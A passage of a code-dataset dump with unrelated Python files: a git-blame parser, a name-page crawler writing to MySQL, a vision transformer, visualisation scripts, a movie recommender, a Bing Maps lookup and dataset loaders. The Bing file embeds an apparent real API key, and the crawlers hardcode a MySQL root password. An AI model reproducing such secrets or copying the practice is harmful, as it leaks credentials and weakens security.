    *\n\n The filename can be omitted iff there has been a previous entry for the\n given source commit.\n \"\"\"\n # Properties for lines originated in a particular commit\n commit_properties: Dict[OID, BlameCommitProperties] = {}\n\n idx = 0\n line_count = len(blame_lines)\n while idx < line_count:\n idx, rev, commit_props, old_line, new_line, starts_seq = parse_block(\n blame_lines, idx, commit_properties\n )\n\n # When the range is HEAD..HEAD, staged changes seem to be included in the\n # blame.\n #\n # TODO: Determine if that's exactly what's happening or if it's more\n # complicated. It's probably correct to ignore these entries regardless.\n if not rev:\n continue\n\n yield BlameLineProperties(\n rev=rev,\n filename=commit_props.filename,\n is_boundary=commit_props.is_boundary,\n old_line=old_line,\n new_line=new_line,\n starts_seq=starts_seq,\n )\n\n\ndef parse_block(\n blame_lines: List[bytes],\n idx: int,\n commit_properties: Dict[OID, BlameCommitProperties],\n) -> Tuple[\n int, # idx\n OID, # rev\n BlameCommitProperties,\n int, # old line\n int, # new line\n bool, # starts seq\n]:\n # pylint: disable=redefined-argument-from-local\n\n header_entry = as_header(blame_lines[idx].split())\n if header_entry is None:\n raise ValueError(\n f'parsing blame (line {idx + 1}): expected header, got {blame_lines[idx]!r}'\n )\n\n rev, old_line, new_line, starts_seq = header_entry\n has_prior_properties = rev in commit_properties\n\n filename = None\n is_boundary = False\n block_ended = False\n\n for idx, line in enumerate(\n itertools.islice(blame_lines, idx, len(blame_lines)), start=idx\n ):\n if block_ended:\n # Consume empty inter-block lines\n if not line:\n continue\n break\n\n if line.startswith(b'\\t'):\n block_ended = True\n continue\n\n if line == b'boundary':\n assert not has_prior_properties\n is_boundary = True\n\n fname_entry = as_filename(line.split())\n if fname_entry is not None:\n assert not has_prior_properties\n filename = fname_entry\n else:\n idx += 1\n\n if has_prior_properties:\n props = commit_properties[rev]\n else:\n assert filename is not None\n props = BlameCommitProperties(filename=filename, is_boundary=is_boundary)\n commit_properties[rev] = props\n\n return idx, rev, props, old_line, new_line, starts_seq\n\n\ndef as_header(parts: List[bytes]) -> Optional[Tuple[OID, int, int, bool]]:\n \"\"\"Try to parse blame line into a tuple (oid, old_lineno, new_lineno, starts_seq)\"\"\"\n # Line in format [COUNT]\n if not (\n 3 <= len(parts) <= 4\n and is_int(parts[0], 16)\n and all(is_int(p, 10) for p in parts[1:])\n ):\n return None\n\n return OID(parts[0]), int(parts[1]), int(parts[2]), len(parts) == 4\n\n\ndef as_filename(parts: List[bytes]) -> Optional[bytes]:\n if len(parts) != 2 or parts[0] != b'filename':\n return None\n return parts[1]\n\n\ndef is_int(string: Union[bytes, str], base: int) -> bool:\n try:\n int(string, base)\n except ValueError:\n return False\n return True\n","repo_name":"wabain/git-fold","sub_path":"git_fold/blame.py","file_name":"blame.py","file_ext":"py","file_size_in_byte":6138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24053747132","text":"\n\nimport pymysql\nimport requests\nfrom lxml import etree\nfrom threading import Thread\n\n\ndef get_one_page(url):\n\n headers = {\n \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)\"\n }\n try:\n response = requests.get(url, headers=headers)\n except:\n print('请求已中断,再尝试重新连接...')\n return None\n if response.status_code == 200:\n text = response.content.decode('utf-8')\n return text\n return None\n\n\ndef parse_with_xpath(html, data_url):\n etree_html = etree.HTML(html)\n # 所有姓名\n names = etree_html.xpath('//div[@class=\"col-xs-12\"]/a/text()')\n # 所有路由\n print('***')\n print(names)\n urls = etree_html.xpath('//div[@class=\"col-xs-12\"]/a/@href')\n\n for i in range(len(urls)):\n\n url = data_url.split('name')[0] + urls[i]\n htmls = get_one_page(url)\n etree_html2 = etree.HTML(htmls)\n # print(htmls)\n # 男用概率\n sex_man = etree_html2.xpath('//div[@class=\"col-xs-12\"]//div[@class=\"progress-bar\"]/text()')[0].strip().split('情')[0]\n # 女用概率\n sex_woman = etree_html2.xpath('//div[@class=\"col-xs-12\"]//div[@class=\"progress-bar progress-bar-warning\"]/text()')[0].strip().split('情')[0]\n # 姓名总解\n try:\n name_explain = etree_html2.xpath('//div[@class=\"panel-body\"]/strong/text()')[0]\n except:\n name_explain = ''\n # 姓名诗\n name_poetry_list = etree_html2.xpath('//div[@style=\"text-align: center;\"]/h4/text()')\n name_poetry = ', '.join(name_poetry_list)\n # 五行\n name_five_lines = etree_html2.xpath('//div[@class=\"col-xs-6\"]/blockquote/text()')[0]\n # 三才配置\n name_three = etree_html2.xpath('//div[@class=\"col-xs-6\"]/blockquote/text()')[1]\n wuge = ['天格', '地格', '人格', '总格', '外格']\n name_wuge = etree_html2.xpath('//div[@class=\"col-xs-12\"]/blockquote/text()')[1:6]\n name_configure_list = []\n name_analysis_list = []\n name_analysis_wuge = etree_html2.xpath('//div[@class=\"col-xs-12\"]/blockquote/div/text()')\n # print(name_analysis_wuge)\n for j in range(5):\n name_configure_list.append(wuge[j] + name_wuge[j].strip())\n name_analysis_list.append(wuge[j] + name_analysis_wuge[j])\n # 名字五格\n name_configure = ', '.join(name_configure_list)\n # 五格分析\n name_analysis = ', '.join(name_analysis_list)\n\n dicts = {}\n # print(names[i])\n dicts['name'] = names[i]\n dicts['url'] = url\n dicts['sex_man'] = sex_man\n dicts['sex_woman'] = sex_woman\n dicts['name_explain'] = name_explain\n dicts['name_poetry'] = name_poetry\n dicts['name_five_lines'] = name_five_lines\n dicts['name_three'] = name_three\n dicts['name_configure'] = name_configure\n dicts['name_analysis'] = name_analysis\n yield dicts\n\n\ndef write_db(items):\n db = pymysql.connect(host='localhost', port=3306, user='root', password='123456',\n db='crawler01', charset='utf8')\n numb = 0\n cursor = db.cursor()\n\n for item in items:\n\n table = 'names'\n\n keys = ', '.join(item.keys())\n\n values = ', '.join(['%s'] * len(item))\n\n sql = 'INSERT INTO {table}({keys}) VALUES ({values}) ON DUPLICATE KEY UPDATE '.format(table=table,\n keys=keys,\n values=values)\n update = ', '.join([\"{key} = %s\".format(key=key) for key in item])\n sql += update\n try:\n if cursor.execute(sql, tuple(item.values())*2):\n # print(sql, tuple(item.values())*2)\n print('Successful')\n db.commit()\n numb += 1\n except:\n print('Failed')\n db.rollback()\n\n db.close()\n return numb\n\n\ndef db_open():\n db = pymysql.connect(host='localhost', port=3306, user='root', password='123456',\n db='crawler01', charset='utf8')\n cursor = db.cursor()\n sql = 'select url from hundred_name;'\n cursor.execute(sql)\n datas = cursor.fetchall()\n db.close()\n return datas\n\n\ndef fen_url():\n urls = db_open()\n big_list = [url for url in urls]\n n = 15\n url_list = [big_list[i:i + n] for i in range(0, len(big_list), n)]\n return url_list\n\n\ndef main(urls):\n # url = 'http://zhao.resgain.net/name_list.html'\n # urls = db_open()\n for url in urls:\n # 跑完分页\n for i in range(1, 11):\n if i == 1:\n print(url[0])\n html = get_one_page(str(url[0]))\n items = parse_with_xpath(html, str(url[0]))\n num = write_db(items)\n else:\n l = str(url[0])\n r = str(url[0])\n l_split = l.split('.')[0:3]\n r_split = r.split('.')[-1]\n re_url = '.'.join(l_split) + '_{}.'.format(i) + r_split\n print(re_url)\n html = get_one_page(re_url)\n items = parse_with_xpath(html, re_url)\n num = write_db(items)\n\n\ndef thread_start():\n urls_list = fen_url()\n print(len(urls_list))\n # 线程组\n threads = []\n for urls in urls_list:\n print(urls)\n # print(len(urls))\n t = Thread(target=main, args=(urls,))\n t.start()\n threads.append(t)\n # 先执行完所有线程再执行主进程\n for t in threads:\n t.join()\n print('success')\n\n\nif __name__ == '__main__':\n thread_start()\n\n\n","repo_name":"yangnewman/python_day","sub_path":"百家姓/hundred_name_crawl/names.py","file_name":"names.py","file_ext":"py","file_size_in_byte":5750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"26327477784","text":"import torch\nfrom torch import nn\nfrom einops import repeat\nfrom itertools import repeat as repeat_\nfrom einops.layers.torch import Rearrange\nfrom cvt_module import ConvAttention, PreNorm, FeedForward\nimport numpy as np\nfrom collections.abc import Iterable\n\n\ndef _pair(v):\n if isinstance(v, Iterable):\n assert len(v) == 2, \"len(v) != 2\"\n return v\n return tuple(repeat_(v, 2))\n\n\ndef infer_output_dim(conv_op, input_shape):\n sample_bsz = 1\n x = torch.randn(sample_bsz, *input_shape)\n # N x C x H x W\n # N: sample_bsz, C: sample_inchannel, H: sample_seq_len, W: input_dim\n x = conv_op(x)\n return x.shape[1:]\n # N x C x H x W\n\n\nclass Transformer(nn.Module):\n def __init__(self, dim, img_size_h, img_size_w, depth, heads, dim_head, mlp_dim, dropout=0., last_stage=False):\n super().__init__()\n self.layers = nn.ModuleList([])\n for _ in range(depth):\n self.layers.append(nn.ModuleList([\n PreNorm(dim, ConvAttention(dim, img_size_h, img_size_w, heads=heads, dim_head=dim_head, dropout=dropout,\n last_stage=last_stage)),\n PreNorm(dim, FeedForward(dim, mlp_dim, dropout=dropout))\n ]))\n\n def forward(self, x):\n for attn, ff in self.layers:\n x = attn(x) + x\n x = ff(x) + x\n return x\n\n\nclass CvT(nn.Module):\n def __init__(self, image_size_h, image_size_w, in_channels, num_classes, dim=64,\n kernels=[7, 3, 3], strides=[4, 2, 2],\n heads=[1, 3, 6], depth=[1, 2, 10], pool='cls', dropout=0., emb_dropout=0., scale_dim=4):\n super().__init__()\n\n assert pool in {'cls', 'mean'}, 'pool type must be either cls (cls token) or mean (mean pooling)'\n self.pool = pool\n self.dim = dim\n\n # #### Stage 1 #######\n conv1 = nn.Conv2d(in_channels, dim, _pair(kernels[0]), _pair(strides[0]), 2)\n _, h, w = infer_output_dim(conv1, [in_channels, image_size_h, image_size_w])\n self.stage1_conv_embed = nn.Sequential(\n conv1,\n Rearrange('b c h w -> b (h w) c', h=h, w=w),\n nn.LayerNorm(dim)\n )\n self.stage1_transformer = nn.Sequential(\n Transformer(dim=dim, img_size_h=h, img_size_w=w, depth=depth[0], heads=heads[0], dim_head=self.dim,\n mlp_dim=dim * scale_dim, dropout=dropout),\n Rearrange('b (h w) c -> b c h w', h=h, w=w),\n )\n\n # #### Stage 2 #######\n in_channels = dim\n scale = heads[1]//heads[0]\n dim = scale*dim\n conv2 = nn.Conv2d(in_channels, dim, _pair(kernels[1]), _pair(strides[1]), 1)\n _, h, w = infer_output_dim(conv2, [in_channels, h, w])\n self.stage2_conv_embed = nn.Sequential(\n conv2,\n Rearrange('b c h w -> b (h w) c', h=h, w=w),\n nn.LayerNorm(dim)\n )\n self.stage2_transformer = nn.Sequential(\n Transformer(dim=dim, img_size_h=h, img_size_w=w, depth=depth[1], heads=heads[1], dim_head=self.dim,\n mlp_dim=dim * scale_dim, dropout=dropout),\n Rearrange('b (h w) c -> b c h w', h=h, w=w)\n )\n\n # #### Stage 3 #######\n in_channels = dim\n scale = heads[2] // heads[1]\n dim = scale * dim\n conv3 = nn.Conv2d(in_channels, dim, _pair(kernels[2]), _pair(strides[2]), 1)\n _, h, w = infer_output_dim(conv3, [in_channels, h, w])\n self.stage3_conv_embed = nn.Sequential(\n conv3,\n Rearrange('b c h w -> b (h w) c', h=h, w=w),\n nn.LayerNorm(dim)\n )\n self.stage3_transformer = nn.Sequential(\n Transformer(dim=dim, img_size_h=h, img_size_w=w, depth=depth[2], heads=heads[2], dim_head=self.dim,\n mlp_dim=dim * scale_dim, dropout=dropout, last_stage=True),\n )\n\n self.cls_token = nn.Parameter(torch.randn(1, 1, dim))\n self.dropout_large = nn.Dropout(emb_dropout)\n\n self.mlp_head = nn.Sequential(\n nn.LayerNorm(dim),\n nn.Linear(dim, num_classes)\n )\n\n def forward(self, img):\n\n xs = self.stage1_conv_embed(img)\n xs = self.stage1_transformer(xs)\n\n xs = self.stage2_conv_embed(xs)\n xs = self.stage2_transformer(xs)\n\n xs = self.stage3_conv_embed(xs)\n b, n, _ = xs.shape\n cls_tokens = repeat(self.cls_token, '() n d -> b n d', b=b)\n xs = torch.cat((cls_tokens, xs), dim=1)\n xs = self.stage3_transformer(xs)\n return xs\n # xs = xs.mean(dim=1) if self.pool == 'mean' else xs[:, 0]\n\n # xs = self.mlp_head(xs)\n # return xs\n\n\nif __name__ == \"__main__\":\n img = torch.ones([1, 3, 224, 224])\n\n model = CvT(224, 3, 1000)\n\n parameters = filter(lambda p: p.requires_grad, model.parameters())\n parameters = sum(np.prod(p.size()) for p in parameters) / 1_000_000\n print('Trainable Parameters: %.3fM' % parameters)\n\n out = model(img)\n\n print(\"Shape of out :\", out.shape) # [B, num_classes]\n","repo_name":"iphysresearch/GW_parameter_estimation","sub_path":"model/cvt.py","file_name":"cvt.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"42139531729","text":"import daisy\nimport h5py\nimport neuroglancer\nimport numpy as np\nimport itertools\nimport operator\nimport sys\nfrom funlib.show.neuroglancer import add_layer, ScalePyramid\n\nneuroglancer.set_server_bind_address('0.0.0.0')\n\nngid = itertools.count(start=1)\n\nprint('Loading raw file...')\nf='/groups/futusa/futusa/projects/fafb/v14_align_tps_20170818_dmg.n5'\n\nxyz_resolution = [4,4,40]\nmax_xyz = [248156, 133718, 7062]\n\nraw = [\n daisy.open_ds(f, 'volumes/raw/s%d'%s)\n for s in range(17)\n]\n\nf = sys.argv[1]\n\n# affs = [\n # daisy.open_ds(f, 'volumes/affs/s%d'%s)\n # for s in range(9)\n# ]\n\nseg = [\n daisy.open_ds(f, 'volumes/segmentation_validation/s%d'%s)\n for s in range(9)\n]\n\naffs = daisy.open_ds(f, 'volumes/affs')\nfragments = daisy.open_ds(f, 'volumes/fragments')\n\ndebug_file = sys.argv[2]\ndebug_fragments = daisy.open_ds(debug_file, 'volumes/fragments')\n\nf = sys.argv[3]\n\ncenters = np.load(f)['centers']\nprint(centers)\nnodes = []\nedge_nodes = []\nedges = []\n\ndef to_ng_coords(coords):\n return np.flip(coords).astype(np.float32) + 0.5\n\nfor (u, v) in centers:\n u_site = to_ng_coords(u)\n v_site = to_ng_coords(v)\n\n print(u_site, v_site)\n\n nodes.append(\n neuroglancer.EllipsoidAnnotation(\n center=u_site,\n radii=(100,100,100),\n id=next(ngid)\n )\n )\n edges.append(\n neuroglancer.LineAnnotation(\n point_a=u_site,\n point_b=v_site,\n id=next(ngid)\n )\n )\n t = 0\n l = np.linalg.norm(v_site - u_site)\n while t < l:\n p = u_site + (t/l)*(v_site - u_site)\n t += 30\n edge_nodes.append(\n neuroglancer.EllipsoidAnnotation(\n center=p,\n radii=(30,30,30),\n id=next(ngid)\n )\n )\nnodes.append(\n neuroglancer.EllipsoidAnnotation(\n center=to_ng_coords(centers[-1][1]),\n radii=(300,300,300),\n id=next(ngid)\n )\n )\n\nviewer = neuroglancer.Viewer()\nwith viewer.txn() as s:\n print('Adding layers to viewer...')\n add_layer(s, affs, 'affs', shader='rgb')\n add_layer(s, seg, 'neurons')\n add_layer(s, fragments, 'fragments')\n # add_layer(s, debug_fragments, 'debug fragments')\n add_layer(s, raw, 'raw')\n\n # s.layers['edges'] = neuroglancer.AnnotationLayer(\n # voxel_size=(1,1,1),\n # filter_by_segmentation=False,\n # annotation_color='#add8e6',\n # annotations=edges,\n # )\n s.layers['nodes'] = neuroglancer.AnnotationLayer(\n voxel_size=(1,1,1),\n filter_by_segmentation=False,\n annotation_color='#ff00ff',\n annotations=nodes,\n )\n s.layers['edge_nodes'] = neuroglancer.AnnotationLayer(\n voxel_size=(1,1,1),\n filter_by_segmentation=False,\n annotation_color='#000000',\n annotations=edge_nodes,\n )\n s.navigation.position.voxelCoordinates = (116250, 36594, 4453) \nprint(viewer)\n","repo_name":"funkelab/lsd_experiments","sub_path":"scripts/visualizations/neuroglancer/view_merge_path.py","file_name":"view_merge_path.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74653443025","text":"from django.urls import path\nfrom custom_news import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path(\"\", views.news, name=\"home\"),\n path('get_news', views.get_news, name='get_news'),\n path('news', views.news, name='news'),\n path('custom_news', views.custom_news, name='custom_news'),\n path(\"login\",views.login_view,name=\"login\"),\n path(\"logout\",views.logout_view,name=\"logout\"),\n path('add_interest/', views.add_interest, name='add_interest'),\n path('remove_interest/', views.remove_interest, name='remove_interest'),\n path('signup/', views.signup, name='signup'),\n]","repo_name":"Alexj9837/DSP","sub_path":"custom_news/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18188094611","text":"import pandas as pd\nfrom bokeh.io import output_file, show\nfrom bokeh.models import Range1d, LinearAxis\nfrom bokeh.plotting import figure\n\n\nclass Graph:\n\n def __init__(self, filepath):\n self.filepath = filepath\n self.data = pd.read_excel(filepath)\n\n def linear_axis(self, x, y, y2):\n X = self.data[x]\n y = self.data[y]\n y2 = self.data[y2]\n\n # Prepare the output file.\n output_file(\"legend_labels.html\")\n\n # Create a figure object.\n f = figure(title='Border Crossings - People and Money',\n y_range=(150000000, 200000000))\n f.xaxis.axis_label = \"Year\"\n f.yaxis.axis_label = \"People\"\n f.extra_y_ranges = {\"y2\": Range1d(start=20000000000, end=40000000000)}\n f.add_layout(LinearAxis(y_range_name=\"y2\", axis_label=\"Money\"), 'right')\n\n # Create a line plot.\n f.line(X, y, legend_label=\"people\", color=\"red\")\n f.line(X, y2, legend_label=\"money\", color=\"green\", y_range_name=\"y2\")\n f.legend.location = \"bottom_right\"\n\n # Plot graph.\n show(f)\n","repo_name":"PatrikAarnivaara/border-crossing","sub_path":"bokeh_graph.py","file_name":"bokeh_graph.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27783781837","text":"import nltk\r\nfrom nltk.stem import PorterStemmer\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nimport numpy as np\r\nimport pandas as pd\r\nimport ast\r\n\r\nmovies = pd.read_csv('tmdb_5000_movies.csv')\r\ncredit = pd.read_csv('tmdb_5000_credits.csv')\r\n\r\n#merge these two data set\r\nmovies = movies.merge(credit,on='title')\r\n# print(movies.info())\r\n\r\n#on which we basis we are going to recommend\r\n#genres id title overview cast crew keywords\r\n\r\n# we are going to select all these column together\r\nmovies = movies[['genres','id','keywords','title','cast','crew','overview']]\r\n\r\n#now using this dat set i am going to make a new data set\r\n#having column id title tag->megrge (genres,keywords,title,cast,crew,overview)\r\n\r\nmovies.dropna(inplace=True)\r\n\r\n#No column is duplicated\r\n#print(movies.duplicated().sum())\r\n\r\n# print(type(movies.iloc[0].genres))\r\n# [{\"id\": 28, \"name\": \"Action\"}, {\"id\": 12, \"name\": \"Adventure\"}, {\"id\": 14, \"name\": \"Fantasy\"}, {\"id\": 878, \"name\": \"Science Fiction\"}]\r\n# #convert this into simple list having name only\r\n# ['action','Adventure','Fantasy','scince fiction']\r\n\r\ndef convert(obj):\r\n L = []\r\n for i in ast.literal_eval(obj):\r\n L.append(i['name'])\r\n return L\r\n\r\ndef convert2(obj):\r\n L = []\r\n count = 0\r\n for i in ast.literal_eval(obj):\r\n if count != 3:\r\n L.append(i['name'])\r\n count+=1\r\n else:\r\n break\r\n return L\r\n\r\ndef fetc_Dir(obj):\r\n L = []\r\n for i in ast.literal_eval(obj):\r\n if i['job'] == 'Director':\r\n L.append(i['name'])\r\n break\r\n return L\r\n\r\n#Now change the column of movies['genres'] with list L using function convert\r\nmovies['genres'] = movies['genres'].apply(convert)\r\n#Do the dame thing for rest of the column\r\nmovies['keywords'] = movies['keywords'].apply(convert)\r\n#to cahge the the column of csat into list we top top 3 charachter\r\nmovies['cast'] = movies['cast'].apply(convert2)\r\n#make crew table of single list containing director nameof that movie\r\nmovies['crew'] = movies['crew'].apply(fetc_Dir)\r\n\r\nmovies['overview'] = movies['overview'].apply(lambda x:x.split())\r\n\r\ndef remove_space(obj):\r\n l = []\r\n for i in obj:\r\n l.append(i.replace(\" \",\"\"))\r\n return l\r\n\r\nmovies['genres'] = movies['genres'].apply(remove_space)\r\nmovies['cast'] = movies['cast'].apply(remove_space)\r\nmovies['crew'] = movies['crew'].apply(remove_space)\r\nmovies['keywords'] = movies['keywords'].apply(remove_space)\r\n\r\n#making new tags and add all column genres cast crew keywords into this\r\nmovies['tags'] = movies['genres']+movies['cast']+movies['crew']+movies['keywords']+movies['overview']\r\n\r\nnew_df = movies[['id','title','tags']]\r\nnew_df['tags'] = new_df['tags'].apply(lambda x:\" \".join(x))\r\nnew_df['tags'] = new_df['tags'].apply(lambda x:x.lower())\r\n\r\ndef stem(text):\r\n ps = PorterStemmer()\r\n l = []\r\n for i in text.split():\r\n l.append(ps.stem(i))\r\n return \" \".join(l)\r\n\r\nnew_df['tags'] = new_df['tags'].apply(stem)\r\n\r\n'''Now we are ready to with correct data on which we are going to recommend movies\r\nNow here we are going to implement some algorithm to relate tags of one movies to another moviw tags'''\r\n\r\n# Now we are goimg to make vector of movie using scikit learn countvectorization\r\nvc = CountVectorizer( max_features=5000,stop_words='english')\r\nx = vc.fit_transform(new_df['tags'])\r\n#convert into numpy array\r\nvectors = x.toarray()\r\n\r\n#calculate cosine distance from one movie to another movies using sklearn\r\nsimilarity = cosine_similarity(vectors)\r\n# print(similarity)\r\n\r\ndef recommend(movie):\r\n movie_index = new_df[new_df['title'] == movie].index[0]\r\n distances = similarity[movie_index]\r\n movie_list = sorted(list(enumerate(distances)),reverse = True,key=lambda x:x[1])[1:6]\r\n\r\n for i in movie_list:\r\n print(new_df.iloc[i[0]].title)\r\n\r\nmovie_name = input(\"Enter movie name:-\")\r\nprint(\"Similar Movies\")\r\nrecommend(movie_name)","repo_name":"ry727777/Movi-recomendation-system","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15762849713","text":"import requests\n\nAPI_KEY = \"AhcE7S6Z6D68upadbXn1dZ_lwIjESjIbpBLSKRoyC5ZtpEFQ_oU9Y2GoOwodUgq0\"\nBASE_URL = \"http://dev.virtualearth.net/REST/v1/Locations\"\n\n\ndef get_location_info(query):\n params = {\n \"q\": query,\n \"key\": API_KEY\n }\n\n response = requests.get(BASE_URL, params=params)\n data = response.json()\n\n if response.status_code == 200 and data.get(\"resourceSets\"):\n resources = data[\"resourceSets\"][0][\"resources\"]\n if resources:\n location = resources[0]\n coordinates = location.get(\"point\", {}).get(\"coordinates\")\n latitude, longitude = coordinates if coordinates else (None, None)\n address = location.get(\"address\", {})\n formatted_address = address.get(\"formattedAddress\", \"Unknown\")\n return formatted_address, latitude, longitude\n return \"Location not found\", None, None\n\n\ndef get_url(location_to_search):\n #2user_input = input(\"Enter a destination: \")\n location, latitude, longitude = get_location_info(location_to_search)\n\n if latitude is not None and longitude is not None:\n bing_maps_url = f\"http://www.bing.com/maps?cp={latitude}~{longitude}\"\n google_maps_url = f\"https://www.google.com/maps?q={latitude},{longitude}\"\n return f\"Location: {location}\\nBing Maps URL: {bing_maps_url}\\nGoogle Maps URL: {google_maps_url}\"\n else:\n return location\n\n\nif __name__ == \"__main__\":\n result = get_url()\n\n","repo_name":"PegahNa/UrbanExplorer","sub_path":"activity_recommender/API/api_integration.py","file_name":"api_integration.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9330102074","text":"from EditorWindow import EditorWindow\nfrom MapData import MapData\nfrom MapNode import is_input_node\nfrom Point import Point\nfrom WireNode import is_wire_node\n\n\nclass Nester:\n\n @staticmethod\n def drag_map_out_of_node():\n data_map = EditorWindow._drag_data[\"item\"]\n while data_map.parent_ref and data_map.constrained_to_parent:\n data_map = data_map.parent_ref.obj\n\n if not isinstance(data_map, MapData) and not is_wire_node(data_map):\n return False\n\n parent_map_ref = data_map.parent_ref\n if parent_map_ref is None:\n return False\n\n inside_parent = EditorWindow.canvas.find_enclosed(*parent_map_ref.obj.corners)\n is_inside_parent = False\n for item_id in inside_parent:\n item = EditorWindow.id_map[item_id]\n if item == data_map:\n is_inside_parent = True\n break\n\n if is_inside_parent:\n return False\n\n parent_map_ref.obj.children_refs.remove(data_map.ref)\n data_map.parent_ref = None\n data_map.pos = data_map.abs_pos()\n data_map.offset = Point(0, 0)\n parent_map_ref.obj.update()\n data_map.update()\n\n @staticmethod\n def drag_map_into_node(new_contents):\n while new_contents.parent_ref and new_contents.constrained_to_parent:\n new_contents = new_contents.parent_ref.obj\n if not isinstance(new_contents, MapData) and not is_wire_node(new_contents):\n return\n\n nearby_ids = EditorWindow.canvas.find_enclosed(*new_contents.corners)\n overlappers = map(lambda id: EditorWindow.id_map[id], nearby_ids)\n overlapping_in_nodes = list(filter(is_input_node, overlappers))\n map_descs = new_contents.get_all_descendants()\n for descendant in map_descs:\n if descendant in overlapping_in_nodes:\n overlapping_in_nodes.remove(descendant)\n\n for container_node in overlapping_in_nodes:\n node_descendants = container_node.get_all_descendants()\n if new_contents in node_descendants:\n overlapping_in_nodes.remove(container_node)\n\n if len(overlapping_in_nodes) == 0:\n return\n\n container_node = overlapping_in_nodes[0]\n new_contents.parent_ref = container_node.ref\n new_contents.pos = Point(0, 0)\n new_contents.to_front()\n container_node.children_refs.append(new_contents.ref)\n container_node.value_ref = new_contents.ref\n container_node.update()\n","repo_name":"djlalo08/VisualEditor","sub_path":"src/actors/nester.py","file_name":"nester.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20292575767","text":"import re\nfrom typing import List, Tuple\nimport os\nimport csv\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\n\ndef rm_br(text):\n re_tag = re.compile(r'<[^>]+>')\n return re_tag.sub('', text)\n\n\n# file_type is either train or test\ndef read_imdb_file(file_type: str) -> Tuple[List[str], List[List[int]]]:\n print('Loading %s imdb' % file_type)\n if file_type not in ['train', 'test']:\n raise Exception()\n else:\n all_file_path_list = []\n positive_path = './datasets/aclImdb/' + file_type + '/pos/'\n negative_path = './datasets/aclImdb/' + file_type + '/neg/'\n all_file_path_list.extend([positive_path + file_path for file_path in os.listdir(positive_path)])\n all_file_path_list.extend([negative_path + file_path for file_path in os.listdir(negative_path)])\n\n texts = []\n labels = [[0, 1] for _ in range(12500)] + [[1, 0] for _ in range(12500)] # [0,1] is positive, [1,0] is negative\n\n for file_path in all_file_path_list:\n with open(file_path, )as f:\n texts.append(rm_br(\" \".join(f.readlines())))\n print(\"Loaded %i exs from file imdb\" % len(texts))\n return texts, labels\n\n\ndef load_all_imdb() -> Tuple[List[str], List[List[int]], List[str], List[List[int]]]:\n print(\"Loading imdb\")\n train_texts, train_labels = read_imdb_file('train')\n test_texts, test_labels = read_imdb_file('test')\n return train_texts, train_labels, test_texts, test_labels\n\n\ndef read_yahoo_file():\n texts = []\n labels = []\n labels_index = {}\n yahoo_dir = './datasets/yahoo_10'\n for categorical_name in os.listdir(yahoo_dir):\n label_id = len(labels_index)\n labels_index[categorical_name] = label_id\n for file_name in sorted(os.listdir(yahoo_dir + '/' + categorical_name)):\n with open(yahoo_dir + '/' + categorical_name + '/' + file_name) as f:\n texts.append(f.read())\n f.close()\n labels.append(label_id)\n\n labels = to_categorical(np.asarray(labels))\n print(\"Loaded %i exs from file yahoo\" % len(texts))\n return texts, labels, labels_index\n\n\ndef load_all_yahoo() -> Tuple[List[str], List[List[int]], List[str], List[List[int]]]:\n print(\"Loading yahoo\")\n texts, labels, _ = read_yahoo_file()\n train_texts, test_texts, train_labels, test_labels = train_test_split(texts, labels, test_size=0.2)\n return train_texts, train_labels, test_texts, test_labels\n\n\ndef to_categorical(y, num_classes=None, dtype=\"float32\"):\n y = np.array(y, dtype=\"int\")\n input_shape = y.shape\n if input_shape and input_shape[-1] == 1 and len(input_shape) > 1:\n input_shape = tuple(input_shape[:-1])\n y = y.ravel()\n if not num_classes:\n num_classes = np.max(y) + 1\n n = y.shape[0]\n categorical = np.zeros((n, num_classes), dtype=dtype)\n categorical[np.arange(n), y] = 1\n output_shape = input_shape + (num_classes,)\n categorical = np.reshape(categorical, output_shape)\n return categorical\n\n\ndef read_agnews_file(file_type) -> Tuple[List[str], List[np.ndarray], List[str]]:\n print('Loading %s agnews' % file_type)\n if file_type not in ['train', 'test']:\n raise Exception()\n else:\n path = './datasets/ag_news_csv/' + file_type + '.csv'\n texts = []\n labels_index = [] # The index of label of all input sentences, which takes the values 1,2,3,4\n doc_count = 0 # number of input sentences\n\n with open(path, newline='') as csv_file:\n reader = csv.reader(csv_file, delimiter=',', quotechar='\"')\n for row in reader:\n content = row[1] + \". \" + row[2]\n texts.append(content)\n labels_index.append(row[0])\n doc_count += 1\n\n # Start document processing\n labels = []\n for i in range(doc_count):\n label_class = np.zeros(4, dtype='float32') # number of classes: 4\n label_class[int(labels_index[i]) - 1] = 1\n labels.append(label_class)\n print(\"Loaded %i exs from file ag news\" % len(texts))\n return texts, labels, labels_index\n\n\ndef load_all_agnews() -> Tuple[List[str], List[np.ndarray], List[str], List[np.ndarray]]:\n print(\"Loading AG's News dataset\")\n train_texts, train_labels, _ = read_agnews_file('train') # 120000\n test_texts, test_labels, _ = read_agnews_file('test') # 7600\n return train_texts, train_labels, test_texts, test_labels\n\n\ndef combine_x_y(train_texts, train_labels, test_texts, test_labels):\n if (len(train_texts) != len(train_labels) or len(test_texts) != len(test_labels)):\n raise Exception()\n train_dataset = 